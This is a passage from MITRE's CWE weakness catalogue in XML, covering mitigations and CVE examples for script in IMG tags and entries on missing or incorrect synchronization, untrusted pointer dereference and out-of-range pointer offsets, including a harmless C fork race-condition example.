                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-3211</Reference>
               <Description>Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3211</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1649</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1649</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1803</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1803</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1804</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1804</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1805</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1805</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1806</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1806</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1807</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1807</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1808</Reference>
               <Description>javascript URI scheme in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1808</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Script in IMG tags</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Script in IMG Tags</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Script in Attributes of IMG Tags in a Web Page</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Script in Attributes of IMG Tags in a Web Page</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="820" Name="Missing Synchronization" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.</Description>
         <Extended_Description>If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code intends to fork a process, then have both the parent and child processes print a single line.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>static void print (char * string) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char * word;<xhtml:br/>int counter;<xhtml:br/>for (word = string; counter = *word++; ) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>putc(counter, stdout);<xhtml:br/>fflush(stdout);<xhtml:br/>
                                 <xhtml:i>/* Make timing window a little larger... */</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>sleep(1);</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main(void) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>pid_t pid;<xhtml:br/>
                           <xhtml:br/>pid = fork();<xhtml:br/>if (pid == -1) {<xhtml:div style="margin-left:1em;">exit(-2);</xhtml:div>}<xhtml:br/>else if (pid == 0) {<xhtml:div style="margin-left:1em;">print("child\n");</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print("PARENT\n");</xhtml:div>}<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>One might expect the code to print out something like:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>PARENT</xhtml:div>
                     <xhtml:div>child</xhtml:div>
                  </xhtml:div>
               </Body_Text>
               <Body_Text>However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>PcAhRiElNdT</xhtml:div>
                     <xhtml:div>[blank line]</xhtml:div>
                     <xhtml:div>[blank line]</xhtml:div>
                  </xhtml:div>
               </Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK05-J</Entry_ID>
               <Entry_Name>Synchronize access to static fields that can be modified by untrusted code</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
	 <Notes>
	   <Note Type="Maintenance">Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc.  CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-08-06</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-23</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="821" Name="Incorrect Synchronization" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.</Description>
         <Extended_Description>If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
	 <Notes>
	   <Note Type="Maintenance">Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc.  CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-08-06</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-23</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="822" Name="Untrusted Pointer Dereference" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.</Description>
         <Extended_Description>
            <xhtml:p>An attacker can supply a pointer for memory locations that the product is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a variable to an unexpected value (since the value will be read from an unexpected memory location).</xhtml:p>
            <xhtml:p>There are several variants of this weakness, including but not necessarily limited to:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The untrusted value is directly invoked as a function call.</xhtml:li>
                  <xhtml:li>In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).</xhtml:li>
                  <xhtml:li>Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="125" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the untrusted pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Memory</Impact>
               <Note>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-5655</Reference>
               <Description>message-passing framework interprets values in packets as pointers, causing a crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5655</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2299</Reference>
               <Description>labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2299</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1719</Reference>
               <Description>Untrusted dereference using undocumented constructor.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1719</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1250</Reference>
               <Description>An error code is incorrectly checked and interpreted as a pointer, leading to a crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1250</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0311</Reference>
               <Description>An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0311</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1818</Reference>
               <Description>Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1818</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3189</Reference>
               <Description>ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3189</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1253</Reference>
               <Description>Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1253</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="129"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Maintenance">There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.</Note>
            <Note Type="Terminology">Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-09-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="823" Name="Use of Out-of-range Pointer Offset" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.</Description>
         <Extended_Description>
            <xhtml:p>While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.</xhtml:p>
            <xhtml:p>Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.</xhtml:p>
            <xhtml:p>If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the product. As a result, the attack might change the state of the product as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="125" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Untrusted pointer offset</Term>
               <Description>This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Memory</Impact>
               <Note>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-2160</Reference>
               <Description>Invalid offset in undocumented opcode leads to memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1281</Reference>
               <Description>Multimedia player uses untrusted value from a file when using file-pointer calculations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1281</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3129</Reference>
               <Description>Spreadsheet program processes a record with an invalid size field, which is later used as an offset.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3129</Link>
            </Observed_Example>
